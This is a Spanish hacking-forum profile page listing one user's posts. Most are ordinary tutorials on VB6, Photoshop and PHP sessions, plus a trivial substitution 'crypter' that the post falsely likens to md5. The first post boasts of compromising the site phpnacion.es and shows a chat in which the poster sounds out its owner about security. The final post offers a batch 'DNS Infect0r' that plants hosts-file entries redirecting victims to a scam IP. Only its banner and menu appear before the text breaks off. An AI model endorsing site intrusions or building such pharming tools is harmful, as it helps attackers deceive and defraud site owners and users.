Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Temas - Xt3mP

Páginas: [1] 2
1
Charlas / Offtopic / www.PHPnacion.es OWNED
« en: 21 de Junio de 2010, 00:44:15 am »
No tenía nada que hacer y decidí ownearla:

http://phpnacion.es/





Igual que x-ti.es

Suerte.

Conver:
(2:32) -:   Hola
(2:32) Antonio² - MR.De:   hei
(2:32) -:   phpnacion es
t u web?
(2:32) Antonio² - MR.De:   si
(2:32) -:   Y qe tal anda de seguridad?
(2:33) Antonio² - MR.De:   supongo k bien
xd
(2:33) -:   Mm haha
no has tenido problemas?
(2:34) Antonio² - MR.De:   no
(2:34) -:   es qe se mira lindo el proyect
por eso lo decia jeje
(2:34) Antonio² - MR.De:   ;)

2
Visual Basic / [Tutorial] Crear una calculadora básica en VB6
« en: 18 de Marzo de 2010, 22:55:43 pm »
Esta vez aprenderémos como crear una calculadora con las funciones básicas de matemáticas las cuales son:

·Suma
·Resta
·Multiplicación
·División

Lo primero que harémos será abrir nuestro programa visual basic 6 y comenzar a programar un "EXE Standard". Despúes nos mostrará algo así:

Ahora, en la barra de herramientas (en la parte de la izquierda estará predeterminadamente) utilizarémos las siguientes herramientas:
· Labels / Textos
· CommandButtons / Botónes de comando
· TextBoxes / Cajas de texto

Que son estas:

Despúes agregarémos lo siguiente:

Un label dando click en la herramienta que muestra la letra "A" y seleccionamos cualquier parte en el form, nos dirijimos a la barra de propiedades del lado inferior derecho y buscámos "caption", una vez encontrado le cambiarémos el valor a resultado:


Ahora agregarémos 3 TextBoxes/Cajas de texto y las acomodarémos algo así:

Una vez hecho esto, daremos click en los 3 TextBoxes/Cajas de texto (de uno en uno) y quitarémos el text para dejarlo vacío y quede así (En vez de caption buscamos Text):

Ahora necesitamos buscar el Name/Nombre de las cajas de texto que por default estarán Text1, Text2 y Text3 pero nosotros las cambiarémos a Text1 = can1 , Text2 = can2 y Text3 = res así:

Una vez hecho esto agregarémos 6 CommandButtons/Botónes de comando de esta manera:

A los primeros 4 les cambiarémos el caption por las funciones básicas que son: " + " , " - " , " * " y " / " y el nombre:

·+ = sumar
·- = restar
·* = multiplicar
·/ = dividir

así:

A los otros 2 le cambiarémos el caption por Borrar y Salir y el name a Borrar = borrar y Salir = salir algo así:

Ahora procederémos con el código que es lo importante, darémos doble click en cualquier CommandButton/Botón de comando y en la pestaña escojerémos General así:

Ahora el CommandButton/Botón de texto se convertirá en "click" ya que al hacer click hará lo que nosotros codíemos así que para el de sumar sería:

Código: [Seleccionar]
Private Sub sumar_click()
res = val(can1) + val(can2)
End Sub

En donde indicamos que al dar click en el botón sumar la casilla de texto llamada "res" tiene un valor de el valor de la casilla de texto llamada "can1" mas el valor de la casilla de texto llamada "can2".

Así sucesivamente con el de Restar, Multiplicar y Dividir solo que cambiaríamos el sumar_click() por restar_click(), mult.... dividir_click() y el " + " lo cambiaríamos por el signo correspondiente, en este caso -, * y / algo así:

Código: [Seleccionar]
Private Sub sumar_click()
res = Val(can1) + Val(can2)
End Sub
Private Sub restar_click()
res = Val(can1) - Val(can2)
End Sub
Private Sub multiplicar_click()
res = Val(can1) * Val(can2)
End Sub
Private Sub dividir_click()
res = Val(can1) / Val(can2)
End Sub

Ahora al botón de borrar como lo que queremos que haga es que deje los espacios en blanco, en este caso pondrémos este código:
Código: [Seleccionar]
Private Sub borrar_click()
can1 = ""
can2 = ""
End Sub

Lo cual significa que al presionar el botón borrar can1 tendrá un valor de "" y como no ahi nada en comillas pues no mostrará nada, igual can2.

Y ahora el mas fácil que es el de Salir con el simple hecho de agregar un:

Código: [Seleccionar]
Private Sub salir_click()
End
End Sub

Se cerrará la aplicación, el código completo es este:

Código: [Seleccionar]
Private Sub sumar_click()
res = Val(can1) + Val(can2)
End Sub
Private Sub restar_click()
res = Val(can1) - Val(can2)
End Sub
Private Sub multiplicar_click()
res = Val(can1) * Val(can2)
End Sub
Private Sub dividir_click()
res = Val(can1) / Val(can2)
End Sub
Private Sub borrar_click()
can1 = ""
can2 = ""
End Sub
Private Sub divi2dir_click()
res = Val(can1) / Val(can2)
End Sub


Esta es una aplicación básica, espero les sirva.

Notas:
*Si los valores NO son númericos mostrará "0".
*Para hacer el proyecto dar click en File/Archivo y generar proyecto exe.

3
Retoque Fotografico / [Tutorial] Logo esférico básico.
« en: 17 de Marzo de 2010, 02:54:38 am »

Bueno, debido a que ya términe mi exposición de Métodos de la Investigación (Demasiado warawara por cierto -.-) creo que alguien pidio como hacer un logo básico, aquí les explicaré como hacerlo.

Necesitamos:
· Photoshop
· Creatividad

1- Crearemos un documento por 150 px X 150 px, una vez hecho, desbloqueamos la capa dando doble click en el candado que aparecerá en el apartado de capas, despues hecho esto presionarémos la letra "D" para poner color frontal negro y despúes la letra "G" para seleccionar bote de pintura/degradado, si se selecciona el degradado den click derecho y cambien a bote de pintura, rellenamos el documento con color negro.

2- Creamos una nueva capa y presionamos la letra "U" para seleccionar formas y escojemos la herramienta elipse como lo muestra esta imágen:

2.1- Es muy importante tener seleccionado la opción trazados en la parte superior izquierda del programa:

3- Presionamos la tecla "Shift" y damos un click en el documento, sin soltarlo hacemos un círculo perfecto, despues damos click derecho en el trazado y damos click en hacer selección:

3.1- Mientra esta seleccionado, presionamos la letra "X" para cambiar el color de atras a frontal, en este caso se cambiará a color blanco, presionamos nuevamente la letra "G" y rellenamos la selección algo así:

4-  Ahora darémos click derecho en la capa, opciones de fusión, en superposición de degradado escojerémos algo así (Este degradado es personalizado):

5- Creamos una nueva capa, seleccionamos nuevamente la herramienta elipse y esta vez en vez de trazados seleccionamos rellenar pixeles:

5.1- Y hacemos un eclipse algo así:

5.2- Despúes, nos vamos a la capa donde creamos el círculo perfecto y damos click derecho en el "cuadro" donde aparece una vista previa de la imágen, damos click en seleccionar pixeles:

5.3- Ahora presionamos "Ctrol+Shift+I" para invertir la selección y estará algo así:

5.4- Ahora simplemente presionamos "Delete/Suprimir" para eliminar lo restante del semi círculo que hicimos en la capa de arriba, despúes le bajarémos la opacidad a un 30%:

6- Creamos una nueva capa y con la herramienta elipse creamos otro semi círculo en la parte de arriba algo así:

6.1- Damos click derecho, opciones de fusión y en superposición de degradado escojerémos el segundo algo así:

6.2- Les aparecerá así pero no se asusten:

6.3- Cambien los paneles del degradado para que quede algo así:

6.4- Ahora simplemente agregamos una letra, en este caso X y en opciones de fusión pondrémos estos valores:

Superposición de degradado:

Trazo:

Resplandor interior:

7- Bajamos la capa de texto para que quede por debajo de los dos semi círculos y quedará el resultado final algo así:

Suerte amigitos ; )!

4
Tutoriales PHP / [Tutorial] Sesiones en PHP
« en: 17 de Marzo de 2010, 01:06:50 am »
Antes que nada quiero decir que he buscado de manera moderada en el foro y no he encontrado algún tutorial que explique los conceptos básicos de las sesiones que mucha ayuda nos hacen (me incluyo) para diferentes aspectos, tanto como interacción de datos entre diferentes páginas sin POST ó GET como para facilitar a la hora de comprobar algo.

¿Qué es una sesion?
En lo que sería el área de programación web, una sesión se refiere a la interacción entre página>usuario asignando está un identificador único al usuario, haciendo uso de estas sesiones, lograrémos hacer un seguimiento del usuario durante toda la navegación en nuestra página.

¿Por qué creo que son mejores las sesiones que las cookies?
Fácil, ya que las cookies se pueden tener habilitadas en los navegadores web, ¿Pero qué pasa si no las tengo activadas? Pues perderíamos el rastro de la navegación del usuario, cuando las sesiones estarán fijas hasta que las cerremos.

¿Como iniciar una sesión?
Con el código "session_start()" que si no existe la sesión la crea, y si existe obviamente la retoma. Ahi varias variables en esto de iniciar una sesión ya que se le puede asignar un nombre o inclusive registrarla con cierto nombre, algo así:

Código: (php) [Seleccionar]
<?php
session_start
(); // Creamos la sesión
session_register("tu_sesion"); // Registramos una sesión en específico
session_name("tu_sesion"); // Nombramos la sesión
?>


¿Como saber el identificador de una sesión?
Pues nada mas y nada menos que con:
Código: (php) [Seleccionar]
<?php
echo "El ID de esta sesión es: ".session_id(); // El ID de esta sesión es: 0s542sd4455532s56543432545
// Dependiendo de la sesión.
?>


Al cerrar la sesión y crear una nueva el identificador cambiará.

¿Como poner sesión dependiendo la acción?
Un ejemplo casero de login sería el formulario así:

Código: (html) [Seleccionar]
<html><head><title>Formulario de sesion</title></head>
<body><form action="" method="POST">
Nombre: <input type="text" name="nombre" id="nombre><br><!-- Casilla de texto llamada nombre -->
Clave: <input type="password" name="pass" id="pass"><br><!-- Casilla de password llamada pass -->
<input type="submit" name="submit" value="Entrar"><!-- El boton que enviara el form -->
</form></body></html>

Y en el mismo archivo le pondrémos esto:
Código: (php) [Seleccionar]
<?php
if (isset($_POST[&#39;nombre&#39;])){
if($_POST[&#39;nombre&#39;] == "Xt3mP" && $_POST[&#39;pass&#39;] == "clave"){
session_register(&#39;user&#39;);
$_SESSION[&#39;logeado&#39;] = "SI";
$_SESSION[&#39;user&#39;] = $_POST[&#39;nombre&#39;];
echo "Bienvenido ".$_SESSION[&#39;user&#39;];
}else{
echo 
"Los datos son incorrectos";
}
}
// Cierre del isset
?>


En el código anterior indicamos que $_SESSION['logeado'] tiene el valor de SI y $_SESSION['user'] tiene el valor del usuario que en este caso es Xt3mP.

Error común.
Warning: Cannot send session cookie - headers already sent by (output started at /home/formulario.php:2) in /home/formulario.php on line 10

Aquí este error es por sintáxis, osea algúna línea en blanca ó por ejemplo, escribir algo antes de la etiqueta PHP en donde hacemos la sesión, para evitar esto borrémos líneas en blanco y agregemos al principio de todo esto:

Código: (php) [Seleccionar]
<?php
session_start
();
?>


Eliminar sesiones.
Esto es lo mas sencillo ya que lo hacemos así:
Código: (php) [Seleccionar]
<?php
session_destroy
();
?>


Aquí eliminamos las sesiones que estén activas, y para eliminar una sesión registrada harémos lo siguiente:
Código: (php) [Seleccionar]
<?php
session_unregister
(); // En donde el nombre de sesion va entre ( y )
?>


Esto es un poco acerca de las sesiones en un ambiente laboral básico, espero le entiendan.

5
Retoque Fotografico / [Tutorial] Maquillaje facial en Photoshop.
« en: 16 de Marzo de 2010, 23:41:04 pm »

En este tutorial aprenderémos a como hacer un maquillaje facial básico con photoshit photoshop, necesitarémos lo siguiente:

· Photoshop
· Alguna imágen para retocar.

1- Abrirémos la imágen y le cambiarémos el nombre dando doble click en el nombre de capa y la nombrarémos "original":

2- Despúes, arrastrarémos la capa llamada "original" al icono de crear una nueva capa para duplicarla:

3- Una vez hecho esto, nos irémos a la pestaña Filtro, en Ruido y escojerémos polvo y rascaduras:

3.1- Aquí escojerémos un radio de pixeles dependiendo de la imágen que tengan, en este caso necesita un radio de 3 pixeles para dejarle lisa/a un nivel la piel y no se vea con imperfecciones:

4- Crearémos una máscara de capa que se encontrará 3 iconos a la izquierda del de crear capa, o alado del icono de función "fx" y tomarémos el brush/pincel que mas les convenga en color negro. Para tomar el pincel simplemente presionen la tecla "B" y para poner color frontal negro presionen "D", con esto irémos pintando las cejas, ojos, labios, la parte triangular de la nariz por que ahi no queremos lisar, solo en la piel.
Les quedaría algo así la máscara de capa:

4.1- La imágen les quedaría algo así (Primero normal, luego con el polvo y rascaduras):
Normal:


Polvo y rascadura sen un radio de 3 pixeles:

5- Creamos una nueva capa llamada mejillas y la ponemos a Modo > Color:

5.1- Escojemos un pincel suavizado dependiendo como mas les convenga y ponemos un color frontal que le quede para las mejillas, en este caso utilizé e79473. Despúes pintamos el área de las mejillas algo así:

5.2- Le bajamos la opacidad a un 50 % ó 70 %, en este caso la deje a 70% para que se marcará mucho ya que despúes la bajaré de nuevo para que quede en su fase final.

6- Nos vamos a filtro y en Desenfocar escojerémos Desenfoque Gaussiano:

6.1- Escojerémos un radio dependiendo de la imágen, en este caso utilizé uno de 11 pixeles:

7- Creamos una nueva capa y la nombramos labios, la ponemos a modo color como lo expliqué en el punto 5, escojemos un pincel para los labios y escojemos nuestro color que mas nos quede, comenzamos a pintar el área de los labios algo así:

7.1- Le bajamos la opacidad a un 50% y nos vamos a filtro, desenfocar y desenfoque gaussiano como lo expliqué en el punto 6 y quedaría algo así:

8- Creamos una nueva capa y la nombramos ojos, la ponemos a modo color como lo expliqué en el punto 5, escojemos un pincel para los ojos y escojemos nuestro color que mas nos quede, comenzamos a pintar el área de los ojos algo así:

8.1- Le bajamos la opacidad a un 50% y nos vamos a filtro, desenfocar y desenfoque gaussiano como lo expliqué en el punto 6 y quedaría algo así:

9- Creamos una nueva capa y la nombramos sombra, la ponemos a modo color como lo expliqué en el punto5, escojemos un pincel para la sombra de ojos y escojemos nuestro color que mas nos quede, comenzamos a pintar el área de la sombra de los ojos algo así:

9.1- Le bajamos la opacidad a un 50% y nos vamos a filtro, desenfocar y desenfoque gaussiano como lo expliqué en el punto 6 y quedaría algo así:

10- Duplicamos la capa que creamos que se deberá llamar Original copia, al duplicarla la situamos hacia arriba algo así:

Hasta ahorita tendrémos algo así:

Seleccionamos la capa que duplicamos que deberá estar hasta arriba, sería creo que Original Copia Copia ó Original Copia 2, osea tendrémos que tener la original, copia de la original y otra copia mas que la situarémos hacia arriba, la ponemos a modo de luz suave y tendrémos esto:

Como verán aparecen rayones, seleccionamos la mascará de capa, escojemos el borrador presionando la letra "E" y comenzamos a borrar todos esos rayones y el resultado final será:

Espero les sirva para hacer mas jóvenes a sus madres amigas, nos vemos.

Suerte.

6
General / [Batch] De/crypter v1.1 fixed by Xassiz
« en: 13 de Marzo de 2010, 06:56:25 am »
Creador: Xt3mP
Utilidad: Encriptador y Desencriptador
Lenguaje: Batch
Para: Comunidad de Mechanixer.
Instrucciones: Simplemente seguir las que te dice ahí.
Mejoras:
·Inyección Batch: Ahora ya puedes encriptar los carácteres especiales como "&" ">", etc.
Introducción: Programa en batch que te encripta y/o desencripta el texto ingresado (Multiusos). Parecido a md5 100% completo.
gr33tz: A mi buen estimado xassiz que reparó el código, sin él este código estuviera mal.

Código: [Seleccionar]
@echo off
color 0c
Title C.Dv1.0 by Xt3mP - mod by xassiz
::moded by xassiz
echo.
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
pause>nul
goto menu
:menu
cls
echo  __________________________________________________________________
echo [+]______________Crypter and Decrypter v1.0 by Xt3mP_____________[+]
echo [+]                   *1. Encriptar texto                        [+]
echo [+]                   *2. Desencriptar texto                     [+]
echo [+]                   *3. Ver equivalencias                      [+]
echo [+]                                                              [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
echo.&set "var="
set/p "var=>> "
if not defined var (goto:menu)
If ["%var%"]==["1"] goto encriptar
If ["%var%"]==["2"] goto desencriptar
If ["%var%"]==["3"] goto equivalencias
goto:menu
:encriptar
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo.&set "palabra="
set/p "palabra=Escriba las palabras que quieras encriptar: "
if not defined palabra (goto:encriptar)
set "var=%palabra%"
set "resultado=%var:a=1%"
set "resultado=%resultado:b=-%"
set "resultado=%resultado:c=.%"
set "resultado=%resultado:d=\%"
set "resultado=%resultado:e=$%"
set "resultado=%resultado:f=;%"
set "resultado=%resultado:g=?%"
set "resultado=%resultado:h=[%"
set "resultado=%resultado:i=+%"
set "resultado=%resultado:j=)%"
set "resultado=%resultado:k=]%"
set "resultado=%resultado:l=!%"
set "resultado=%resultado:m=(%"
set "resultado=%resultado:n=@%"
set "resultado=%resultado:ñ=¿%"
set "resultado=%resultado:o=,%"
set "resultado=%resultado:p=4%"
set "resultado=%resultado:q=/%"
set "resultado=%resultado:r=_%"
set "resultado=%resultado:s={%"
set "resultado=%resultado:t=#%"
set "resultado=%resultado:u=¡%"
set "resultado=%resultado:v=}%"
set "resultado=%resultado:w=:%"
set "resultado=%resultado:x=2%"
set "resultado=%resultado:y=6%"
set "resultado=%resultado:z=9%"
set "resultado=%resultado:&=^&%"
set "resultado=%resultado:>=^>%"
set "resultado=%resultado:<=^<%"
set "resultado=%resultado:|=^|%"
:finenc
cls
echo.
echo Las palabras encriptadas son: %resultado%
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                   *1. Encriptar texto                        [+]
echo [+]                   *2. Desencriptar texto                     [+]
echo [+]                   *3. Ver equivalencias                      [+]
echo [+]                   *4. Ver bloc de notas                      [+]
echo [+]                   *5. Ver detalles                           [+]
echo [+]                   *6. Salir                                  [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
echo.&set "var2="
set/p "var2=>> "
if not defined var2 (goto:finenc)
if ["%var2%"]==["1"] goto encriptar
if ["%var2%"]==["2"] goto desencriptar
if ["%var2%"]==["3"] goto equivalencias
if ["%var2%"]==["4"] goto bloc1
if ["%var2%"]==["5"] goto detalles
if ["%var2%"]==["6"] goto exit
goto:finenc
:desencriptar
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
set /p palabra=Escriba las palabras que quieras desencriptar:
set "var23=%palabra%"
set "resultado=%var23:1=a%"
set "resultado=%resultado:-=b%"
set "resultado=%resultado:.=c%"
set "resultado=%resultado:\=d%"
set "resultado=%resultado:$=e%"
set "resultado=%resultado:;=f%"
set "resultado=%resultado:?=g%"
set "resultado=%resultado:[=h%"
set "resultado=%resultado:+=i%"
set "resultado=%resultado:)=j%"
set "resultado=%resultado:]=k%"
set "resultado=%resultado:!=l%"
set "resultado=%resultado:(=m%"
set "resultado=%resultado:@=n%"
set "resultado=%resultado:¿=ñ%"
set "resultado=%resultado:,=o%"
set "resultado=%resultado:5=p%"
set "resultado=%resultado:/=q%"
set "resultado=%resultado:_=r%"
set "resultado=%resultado:{=s%"
set "resultado=%resultado:#=t%"
set "resultado=%resultado:¡=u%"
set "resultado=%resultado:}=v%"
set "resultado=%resultado::=w%"
set "resultado=%resultado:2=x%"
set "resultado=%resultado:6=y%"
set "resultado=%resultado:9=z%"
set "resultado=%resultado:&=^&%"
set "resultado=%resultado:>=^>%"
set "resultado=%resultado:<=^<%"
set "resultado=%resultado:|=^|%"
:fin
cls
echo.
echo Las palabras desencriptadas son: %resultado%
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                   *1. Encriptar texto                        [+]
echo [+]                   *2. Desencriptar texto                     [+]
echo [+]                   *3. Ver equivalencias                      [+]
echo [+]                   *4. Ver bloc de notas                      [+]
echo [+]                   *5. Ver detalles                           [+]
echo [+]                   *6. Salir                                  [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
echo.&set "var="
set/p "var=>> "
if not defined var (goto:fin)
if ["%var%"]==["1"] goto encriptar
if ["%var%"]==["2"] goto desencriptar
if ["%var%"]==["3"] goto equivalencias
if ["%var%"]==["4"] goto bloc2
if ["%var%"]==["5"] goto detalles
if ["%var%"]==["6"] goto exit
goto:fin
:exit
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
pause>nul
exit
:bloc1
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo Las palabras encriptadas son: %resultado%>encriptadas.txt
start encriptadas.txt
:asdf
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo.&set "var3="
set/p "var3=>> "
if not defined var3 (goto:asdf)
if ["%var3%"]==["1"] goto encriptar
if ["%var3%"]==["2"] goto desencriptar
if ["%var3%"]==["3"] goto equivalencias
if ["%var3%"]==["4"] goto bloc
if ["%var3%"]==["5"] goto detalles
if ["%var3%"]==["6"] goto exit
goto:asdf
:bloc2
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo Las palabras desencriptadas son: %resultado%>desencriptadas.txt
start desencriptadas.txt
:asdf2
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo.&set "var4="
set/p "var4=>> "
if not defined var4 (goto:asdf2)
if ["%var4%"]==["1"] goto encriptar
if ["%var4%"]==["2"] goto desencriptar
if ["%var4%"]==["3"] goto equivalencias
if ["%var4%"]==["4"] goto bloc
if ["%var4%"]==["5"] goto detalles
if ["%var4%"]==["6"] goto exit
goto:asdf2
:equivalencias
cls
echo.
echo a=1
echo b=-
echo c=.
echo d=\
echo e=$
echo f=;
echo g=?
echo h=[
echo i=+
echo j=)
echo k=]
echo l=!
echo m=(
echo n=@
echo ñ=¿
echo o=,
echo p=4
echo q=/
echo r=_
echo s={
echo t=#
echo u=¡
echo v=}
echo w=:
echo x=2
echo y=6
echo z=9
pause>nul
:asdf4
cls&echo.
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                   *1. Encriptar texto                        [+]
echo [+]                   *2. Desencriptar texto                     [+]
echo [+]                   *3. Ver equivalencias                      [+]
echo [+]                   *4. Ver bloc de notas                      [+]
echo [+]                   *5. Ver detalles                           [+]
echo [+]                   *6. Salir                                  [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
echo.&set "var5="
set/p "var5=>> "
if not defined var5 (goto:asdf4)
if ["%var5%"]==["1"] goto encriptar
if ["%var5%"]==["2"] goto desencriptar
if ["%var5%"]==["3"] goto equivalencias
if ["%var5%"]==["4"] goto bloc
if ["%var5%"]==["5"] goto detalles
if ["%var5%"]==["6"] goto exit
goto:asdf4
:detalles
cls
echo La encriptación/desencriptación duró aproximadamente 0.0022 segundos>detalles.txt
start detalles.txt
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                   *1. Encriptar texto                        [+]
echo [+]                   *2. Desencriptar texto                     [+]
echo [+]                   *3. Ver equivalencias                      [+]
echo [+]                   *4. Ver bloc de notas                      [+]
echo [+]                   *5. Ver detalles                           [+]
echo [+]                   *6. Salir                                  [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
echo.&set "var6="
set/p "var6=>> "
if not defined var6 (goto:detalles)
if ["%var6%"]==["1"] goto encriptar
if ["%var6%"]==["2"] goto desencriptar
if ["%var6%"]==["3"] goto equivalencias
if ["%var6%"]==["4"] goto bloc
if ["%var6%"]==["5"] goto detalles
if ["%var6%"]==["6"] goto exit
goto:detalles

Suerte.

7
General / [Batch] DNS Poisoning v2.0
« en: 13 de Marzo de 2010, 06:55:16 am »
Comentario: Este código lo podrán ver por muchas partes, hace años cuando me esforze por sacar la primera versión (En mis inicios) tuve un error en postearlo y despúes me lo robarón, cabe mencionar que obviamente ahí muchísima mas gente con conocimientos avanzados que pueden mejorar el código en todos los aspectos y diseño, pero este código lo hice hace muchísimo tiempo, cerca de 2 o 3 años y pues simplemente quería mostrarselos.

########################################################
Creador: Xt3mP
Utilidad: Infección de DNS mediante el archivo Host.
Lenguaje: Batch
Para: Comunidad de Mechanixer.
Instrucciones: Simplemente seguir las que te dice ahí.
Mejoras:
·Nuevo diseño: Ahora presenta un diseño un poco más agradable para el usuario.
·Bugs: Se corrijierón unos bugs al momento de crear el infector.
·Contácto: Links y páginas de Contacto fueron actualizadas.
Link de descarga: DNS Infect0r v2.0 BETA by Xt3mP.
Introducción: Programa en batch que te generá otro batch con la IP de un Scam y la IP de la página que quieres redirigir, esto se le puede denominar pharming ó infección de DNS por el archivo Hosts.



Código: [Seleccionar]
@echo off
color 0A
title DNS 1nf3ct0r by Xt3MP v2.0 Beta.
echo  Informacion del Programa.
echo  Compañia: Mechanixer Proyect 666
echo  Nombre del producto: DNS Infect0r v2.0 Beta.
echo  Descripcion: Infector de DNS para beneficio propio.
echo  Copyrights: DNS Infector by Xt3mP 2008-2009©
echo  Trademarks: DNS Infector by Xt3mP 2008-2009©
echo  Nombre Original: DNS Infect0r v2.0 Beta.
echo  Comentarios: Me la pelan att/ Xt3mP#
echo  Version:  2. 0. 0. 0
echo  Version:  2. 0. 0. 0
echo  Nombre interno: DNS 1nf3ct0r b3t4.
echo  dnsinfector.ico
echo  Presiona cualquier tecla para continuar.

pause>nul
cls
goto inicio
:inicio
echo  __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]      MMMMMMMM               MMMMMMMMPPPPPPPPPPPPPPPPP        [+]   
echo [+]      M:::::::M             M:::::::MP::::::::::::::::P       [+]
echo [+]      M::::::::M           M::::::::MP::::::PPPPPP:::::P      [+]
echo [+]      M:::::::::M         M:::::::::MPP:::::P     P:::::P     [+]
echo [+]      M::::::::::M       M::::::::::M  P::::P     P:::::P     [+]
echo [+]      M:::::::::::M     M:::::::::::M  P::::P     P:::::P     [+]
echo [+]      M:::::::M::::M   M::::M:::::::M  P::::PPPPPP:::::P      [+]
echo [+]      M::::::M M::::M M::::M M::::::M  P:::::::::::::PP       [+]
echo [+]      M::::::M  M::::M::::M  M::::::M  P::::PPPPPPPPP         [+]
echo [+]      M::::::M   M:::::::M   M::::::M  P::::P                 [+]
echo [+]      M::::::M    M:::::M    M::::::M  P::::P                 [+]
echo [+]      M::::::M     MMMMM     M::::::M  P::::P                 [+]
echo [+]      M::::::M               M::::::MPP::::::PP               [+]
echo [+]      M::::::M               M::::::MP::::::::P               [+]
echo [+]      M::::::M               M::::::MP::::::::P               [+]
echo [+]      MMMMMMMM               MMMMMMMMPPPPPPPPPP               [+]
echo [+]______________________________________________________________[+]
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
pause>nul
cls
echo  __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                            Paginas:                          [+]
